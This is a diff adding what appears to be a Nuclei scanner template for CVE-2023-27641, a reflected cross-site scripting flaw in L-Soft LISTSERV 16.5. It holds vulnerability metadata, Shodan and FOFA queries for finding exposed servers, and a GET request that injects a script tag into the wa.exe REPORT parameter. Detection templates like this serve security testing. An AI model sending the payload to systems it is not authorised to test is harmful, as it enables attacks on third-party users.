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+id: CVE-2023-27641
+
+info:
+  name: L-Soft LISTSERV 16.5 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    The REPORT (after z but before a) parameter in wa.exe in L-Soft LISTSERV 16.5 before 17 allows an attacker to conduct XSS attacks via a crafted URL.
+  impact: |
+    Successful exploitation could lead to unauthorized access or data theft.
+  remediation: |
+    Update to the latest version of L-Soft LISTSERV to mitigate the XSS vulnerability.
+  reference:
+    - https://github.com/hosakauk/exploits/blob/master/listserv_report_xss.MD
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-27641
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-27641
+    cwe-id: CWE-79
+    epss-score: 0.00068
+    epss-percentile: 0.28723
+    cpe: cpe:2.3:a:lsoft:listserv:*:*:*:*:*:*:*:*
+  metadata:
+    vendor: lsoft
+    product: listserv
+    shodan-query: http.html:"LISTSERV"
+    fofa-query: body="listserv"
+  tags: cve2023,cve,xss,listserv,edb,lsoft
+
+http:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wa.exe?REPORT&z=4&"><script>alert(document.domain)</script>a=1'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '><script>alert(document.domain)</script>'
+          - 'LISTSERV'
+        case-insensitive: true
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200